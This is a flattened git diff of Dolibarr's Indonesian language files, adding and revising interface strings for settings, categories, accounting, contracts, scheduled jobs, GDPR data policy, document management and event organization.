      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Jam buka OpeningHoursDesc=Masukkan di sini jam buka reguler perusahaan Anda. ResourceSetup=Modul Konfigurasi Sumber Daya @@ -2171,6 +2215,7 @@ ShowProjectLabel=Label Proyek PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Jika Anda ingin agar beberapa teks dalam PDF Anda digandakan dalam 2 bahasa berbeda dalam PDF yang dihasilkan sama, Anda harus mengatur di sini bahasa kedua ini sehingga PDF yang dihasilkan akan berisi 2 bahasa berbeda di halaman yang sama, yang dipilih saat membuat PDF dan yang ini ( hanya beberapa templat PDF yang mendukung ini). Biarkan kosong untuk 1 bahasa per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Masukkan di sini kode ikon FontAwesome. Jika Anda tidak tahu apa itu FontAwesome, Anda dapat menggunakan fa-address-book nilai umum. @@ -2199,12 +2244,12 @@ MailToPartnership=Kemitraan AGENDA_EVENT_DEFAULT_STATUS=Status acara default saat membuat acara dari formulir YouShouldDisablePHPFunctions=Anda harus menonaktifkan fungsi PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Kecuali jika Anda perlu menjalankan perintah sistem dalam kode khusus, Anda harus menonaktifkan fungsi PHP -PHPFunctionsRequiredForCLI=Untuk tujuan shell (seperti pencadangan pekerjaan terjadwal atau menjalankan program anitivus), Anda harus menyimpan fungsi PHP +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=Tidak ada file atau direktori yang dapat ditulis dari program umum yang ditemukan di direktori root Anda (Bagus) RecommendedValueIs=Direkomendasikan: %s Recommended=Direkomendasikan NotRecommended=Tidak direkomendasikan -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Periksa pembaruan modul eksternal CheckForModuleUpdateHelp=Tindakan ini akan terhubung ke editor modul eksternal untuk memeriksa apakah versi baru tersedia. ModuleUpdateAvailable=Pembaruan tersedia @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=Tidak ada pembaruan yang ditemukan untuk modul ekster SwaggerDescriptionFile=File deskripsi API Swagger (untuk digunakan dengan redoc misalnya) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Anda mengaktifkan WS API yang tidak digunakan lagi. Anda harus menggunakan REST API sebagai gantinya. RandomlySelectedIfSeveral=Dipilih secara acak jika beberapa gambar tersedia +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Kata sandi database dikaburkan dalam file conf DatabasePasswordNotObfuscated=Kata sandi basis data TIDAK dikaburkan dalam file conf APIsAreNotEnabled=Modul API tidak diaktifkan @@ -2251,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Pengaturan WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/id_ID/categories.lang b/htdocs/langs/id_ID/categories.lang index 4ed189d352f..8dcc0f0bfdf 100644 --- a/htdocs/langs/id_ID/categories.lang +++ b/htdocs/langs/id_ID/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Anggota ini tidak ada dalam label/kategori apa pun ContactHasNoCategory=Kontak ini tidak ada dalam label/kategori apa pun ProjectHasNoCategory=Proyek ini tidak ada dalam label/kategori apa pun ClassifyInCategory=Tambahkan ke label/kategori +RemoveCategory=Remove category NotCategorized=Tanpa label/kategori CategoryExistsAtSameLevel=Kategori ini sudah ada dengan referensi ini ContentsVisibleByAllShort=Konten terlihat oleh semua @@ -67,6 +68,7 @@ StockCategoriesShort=Label/kategori gudang ThisCategoryHasNoItems=Kategori ini tidak mengandung barang apa pun. CategId=Label/id kategori ParentCategory=Tag/kategori induk +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label tag/kategori induk CatSupList=Daftar tag / kategori vendor CatCusList=Daftar tag / kategori pelanggan / prospek @@ -86,15 +88,18 @@ DeleteFromCat=Hapus dari label/kategori ExtraFieldsCategories=Atribut pelengkap CategoriesSetup=Pengaturan label/kategori CategorieRecursiv=Tautkan dengan label/kategori induk secara otomatis -CategorieRecursivHelp=Jika opsi aktif, ketika Anda menambahkan produk ke dalam subkategori, produk juga akan ditambahkan ke dalam kategori induk. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Tambahkan produk/layanan berikut AddCustomerIntoCategory=Tetapkan kategori untuk pelanggan AddSupplierIntoCategory=Tetapkan kategori ke pemasok +AssignCategoryTo=Assign category to ShowCategory=Tampilkan label/kategori ByDefaultInList=Secara default dalam daftar ChooseCategory=Pilih Kategori StocksCategoriesArea=Kategori Gudang +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Kategori Acara WebsitePagesCategoriesArea=Kategori Penampung Halaman KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Gunakan operator 'OR' untuk kategori +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/id_ID/commercial.lang b/htdocs/langs/id_ID/commercial.lang index d8603381dd9..3222ac45030 100644 --- a/htdocs/langs/id_ID/commercial.lang +++ b/htdocs/langs/id_ID/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Status prospek DraftPropals=Menyusun proposal komersial NoLimit=Tidak ada batas ToOfferALinkForOnlineSignature=Tautan untuk tanda tangan online -WelcomeOnOnlineSignaturePage=Selamat datang di halaman untuk menerima proposal komersial dari %s -ThisScreenAllowsYouToSignDocFrom=Layar ini memungkinkan Anda untuk menerima dan menandatangani, atau menolak, penawaran / proposal komersial -ThisIsInformationOnDocumentToSign=Ini adalah informasi pada dokumen untuk diterima atau ditolak +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Tanda tangan penawaran / proposal komersial %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Fitur untuk penandatanganan online dinonaktifkan atau dokumen dibuat sebelum fitur diaktifkan diff --git a/htdocs/langs/id_ID/compta.lang b/htdocs/langs/id_ID/compta.lang index 3b33003d6b9..3a9796f75a7 100644 --- a/htdocs/langs/id_ID/compta.lang +++ b/htdocs/langs/id_ID/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Saldo (sebelum) Balance=Keseimbangan Debit=Debet Credit=Kredit +AccountingDebit=Debet +AccountingCredit=Kredit Piece=Dokumen Akuntansi AmountHTVATRealReceived=Net dikumpulkan AmountHTVATRealPaid=Dibayar bersih @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Laporan Turnover yang dikump TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Laporan Turnover yang dikumpulkan per tarif pajak penjualan tidak tersedia. Laporan ini hanya tersedia untuk faktur omset. CalculationMode=Mode perhitungan AccountancyJournal=Jurnal kode akuntansi -ACCOUNTING_VAT_SOLD_ACCOUNT=Akun akuntansi secara default untuk PPN pada penjualan (digunakan jika tidak ditentukan pada pengaturan kamus PPN) -ACCOUNTING_VAT_BUY_ACCOUNT=Akun akuntansi secara default untuk PPN pada pembelian (digunakan jika tidak ditentukan pada pengaturan kamus PPN) -ACCOUNTING_VAT_PAY_ACCOUNT=Akun akuntansi secara default untuk membayar PPN -ACCOUNTING_ACCOUNT_CUSTOMER=Akun akuntansi digunakan untuk pihak ketiga pelanggan +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Akun akuntansi khusus yang ditentukan pada kartu pihak ketiga akan digunakan hanya untuk akuntansi Subledger. Yang ini akan digunakan untuk Buku Besar dan sebagai nilai default dari akuntansi Subledger jika akun akuntansi pelanggan khusus pada pihak ketiga tidak didefinisikan. -ACCOUNTING_ACCOUNT_SUPPLIER=Akun akuntansi digunakan untuk pihak ketiga vendor +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Akun akuntansi khusus yang ditentukan pada kartu pihak ketiga akan digunakan hanya untuk akuntansi Subledger. Yang ini akan digunakan untuk Buku Besar Umum dan sebagai nilai default akuntansi Subledger jika akun akuntansi vendor khusus pada pihak ketiga tidak didefinisikan. ConfirmCloneTax=Konfirmasikan klon pajak sosial / fiskal ConfirmCloneVAT=Konfirmasi kloning deklarasi PPN @@ -300,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/id_ID/contracts.lang b/htdocs/langs/id_ID/contracts.lang index 05e61cc7e5e..be038487e96 100644 --- a/htdocs/langs/id_ID/contracts.lang +++ b/htdocs/langs/id_ID/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Kontrak / Langganan ContractsAndLine=Kontrak dan garis kontrak Contract=Kontrak ContractLine=Garis kontrak +ContractLines=Contract lines Closing=Penutupan NoContracts=Tidak ada kontrak MenuServices=Jasa @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Anda yakin ingin menghapus garis kontrak ini? MoveToAnotherContract=Pindahkan layanan ke dalam kontrak lain. ConfirmMoveToAnotherContract=Saya memilih target kontrak baru dan mengonfirmasi bahwa saya ingin memindahkan layanan ini ke dalam kontrak ini. ConfirmMoveToAnotherContractQuestion=Pilih di kontrak mana yang ada (dengan pihak ketiga yang sama), Anda ingin pindah ke layanan ini? -PaymentRenewContractId=Perpanjang garis kontrak (nomor %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Tanggal habis tempo NoExpiredServices=Tidak ada layanan aktif kedaluwarsa ListOfServicesToExpireWithDuration=Daftar Layanan yang akan kedaluwarsa dalam %s hari @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Menandatangani kontak pelanggan kontra HideClosedServiceByDefault=Sembunyikan layanan tertutup secara default ShowClosedServices=Tampilkan Layanan Tertutup HideClosedServices=Sembunyikan Layanan Tertutup +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/id_ID/cron.lang b/htdocs/langs/id_ID/cron.lang index e71d339424b..5f3623ff6b5 100644 --- a/htdocs/langs/id_ID/cron.lang +++ b/htdocs/langs/id_ID/cron.lang @@ -26,7 +26,7 @@ CronCommand=Perintah CronList=Pekerjaan terjadwal CronDelete=Hapus pekerjaan terjadwal CronConfirmDelete=Anda yakin ingin menghapus pekerjaan terjadwal ini? -CronExecute=Luncurkan pekerjaan terjadwal +CronExecute=Launch now CronConfirmExecute=Apakah Anda yakin ingin menjalankan pekerjaan terjadwal ini sekarang? CronInfo=Modul pekerjaan terjadwal memungkinkan untuk menjadwalkan pekerjaan untuk melaksanakannya secara otomatis. Pekerjaan juga dapat dimulai secara manual. CronTask=Pekerjaan @@ -58,7 +58,7 @@ CronNote=Komentar CronFieldMandatory=Bidang %s wajib diisi CronErrEndDateStartDt=Tanggal akhir tidak boleh sebelum tanggal mulai StatusAtInstall=Status pada pemasangan modul -CronStatusActiveBtn=Susunan acara +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Nonaktifkan CronTaskInactive=Pekerjaan ini dinonaktifkan (tidak dijadwalkan) CronId=Indo @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Buka menu " Beranda - Alat Admin - JobDisabled=Pekerjaan dinonaktifkan MakeLocalDatabaseDumpShort=Pencadangan basis data lokal MakeLocalDatabaseDump=Buat dump basis data lokal. Parameternya adalah: kompresi ('gz' atau 'bz' atau 'tidak ada'), jenis cadangan ('mysql', 'pgsql', 'auto'), 1, 'otomatis' atau nama file yang akan dibuat, jumlah file cadangan yang akan disimpan +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Perhatian, untuk tujuan kinerja, apa pun tanggal berikutnya pelaksanaan pekerjaan yang diaktifkan, pekerjaan Anda mungkin tertunda hingga maksimum %s jam, sebelum dijalankan. DATAPOLICYJob=Pembersih data dan penganonim JobXMustBeEnabled=Pekerjaan %s harus diaktifkan +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Pekerjaan terjadwal yang terakhir dieksekusi NextScheduledJobExecute=Pekerjaan terjadwal berikutnya untuk dieksekusi NumberScheduledJobError=Jumlah pekerjaan terjadwal yang ada kesalahan +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/id_ID/datapolicy.lang b/htdocs/langs/id_ID/datapolicy.lang new file mode 100644 index 00000000000..f4c15bab1be --- /dev/null +++ b/htdocs/langs/id_ID/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Suplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Suplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/id_ID/ecm.lang b/htdocs/langs/id_ID/ecm.lang index 96138c81ff7..48c7314fdc2 100644 --- a/htdocs/langs/id_ID/ecm.lang +++ b/htdocs/langs/id_ID/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Direktori manual ECMSectionAuto=Direktori otomatis ECMSectionsManual=Pohon manual ECMSectionsAuto=Pohon otomatis +ECMSectionsMedias=Medias tree ECMSections=Direktori ECMRoot=Root ECM ECMNewSection=Direktori baru @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Jumlah file dalam sub-direktori ECMCreationUser=Pencipta ECMArea=Area DMS / ECM ECMAreaDesc=Area DMS / ECM (Sistem Manajemen Dokumen / Manajemen Konten Elektronik) memungkinkan Anda untuk menyimpan, berbagi, dan mencari dengan cepat semua jenis dokumen di Dolibarr. -ECMAreaDesc2=* Direktori otomatis diisi secara otomatis saat menambahkan dokumen dari kartu suatu elemen.
      * Direktori manual dapat digunakan untuk menyimpan dokumen yang tidak ditautkan ke elemen tertentu. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Direktori%stelah dihapus. ECMSectionWasCreated=Direktori%stelah dibuat. ECMSearchByKeywords=Cari berdasarkan kata kunci diff --git a/htdocs/langs/id_ID/eventorganization.lang b/htdocs/langs/id_ID/eventorganization.lang index fcb52f70206..efc6a8d4cba 100644 --- a/htdocs/langs/id_ID/eventorganization.lang +++ b/htdocs/langs/id_ID/eventorganization.lang @@ -37,7 +37,8 @@ EventOrganization=Organisasi acara Settings=Pengaturan EventOrganizationSetupPage = Halaman penyiapan Organisasi Acara EVENTORGANIZATION_TASK_LABEL = Label tugas untuk dibuat secara otomatis saat proyek divalidasi -EVENTORGANIZATION_TASK_LABELTooltip = Saat Anda memvalidasi acara yang terorganisir, beberapa tugas dapat dibuat secara otomatis dalam proyek

      Misalnya:
      Kirim Panggilan untuk Konferensi
      Kirim Panggilan untuk Stan
      Terima panggilan untuk konferensi
      Terima panggilan untuk Stan
      Buka langangan ke acara untuk peserta
      Kirim ingatkan acara ke pembicara
      Kirim pengingat acara ke hoster Stan
      Kirim pengingat acara ke peserta +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip2=Keep empty if you don't need to create tasks automatically. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Kategori untuk ditambahkan ke pihak ketiga secara otomatis dibuat ketika seseorang menyarankan konferensi EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Kategori untuk ditambahkan ke pihak ketiga secara otomatis dibuat saat mereka menyarankan stan EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Template email untuk dikirim setelah menerima saran konferensi. @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= Konferensi Atau Stan +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Mengelola organisasi acara ConferenceOrBooth = Konferensi Atau Stan ConferenceOrBoothTab = Konferensi Atau Stan AmountPaid = Jumlah yang dibayarkan DateOfRegistration = Date of registration ConferenceOrBoothAttendee = Peserta Konferensi Atau Stan +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. ListOfSuggestedConferences = Daftar konferensi yang disarankan -ListOfSuggestedBooths = Daftar stan yang disarankan -ListOfConferencesOrBooths=Daftar konferensi atau stan proyek acara +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Sarankan konferensi baru SuggestBooth = Sarankan stan ViewAndVote = Lihat dan pilih acara yang disarankan PublicAttendeeSubscriptionGlobalPage = Tautan publik untuk pendaftaran acara PublicAttendeeSubscriptionPage = Tautan publik untuk pendaftaran ke acara ini saja MissingOrBadSecureKey = Kunci keamanan tidak valid atau hilang -EvntOrgWelcomeMessage = Formulir ini memungkinkan Anda untuk mendaftar sebagai peserta baru ke acara tersebut : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Konferensi ini dimulai pada %s dan berakhir pada %s. ConferenceAttendeeFee = Biaya peserta konferensi untuk acara: '%s' terjadi dari %s hingga %s. BoothLocationFee = Lokasi stan untuk acara : '%s' terjadi dari %s hingga %s @@ -129,7 +133,7 @@ LabelOfconference=Label konferensi ConferenceIsNotConfirmed=Pendaftaran tidak tersedia, konferensi belum dikonfirmasi DateMustBeBeforeThan=%s harus sebelum %s DateMustBeAfterThan=%s harus setelah %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Registrasi OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received OrganizationEventBoothRequestWasReceived=Your request for a booth has been received @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event re OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Application for a booth NewSuggestionOfConference=Application for a conference @@ -153,7 +158,7 @@ VoteOk = Suara Anda telah diterima. AlreadyVoted = Anda telah memilih acara ini. VoteError = Terjadi kesalahan selama pemungutan suara, harap coba lagi. -SubscriptionOk = Your registration has been validated +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Konfirmasi langganan Anda ke suatu acara Attendee = Peserta PaymentConferenceAttendee = Pembayaran peserta konferensi @@ -161,7 +166,9 @@ PaymentBoothLocation = Pembayaran lokasi stan DeleteConferenceOrBoothAttendee=Remove attendee RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s EmailAttendee=Attendee email +EmailCompany=Company email EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate 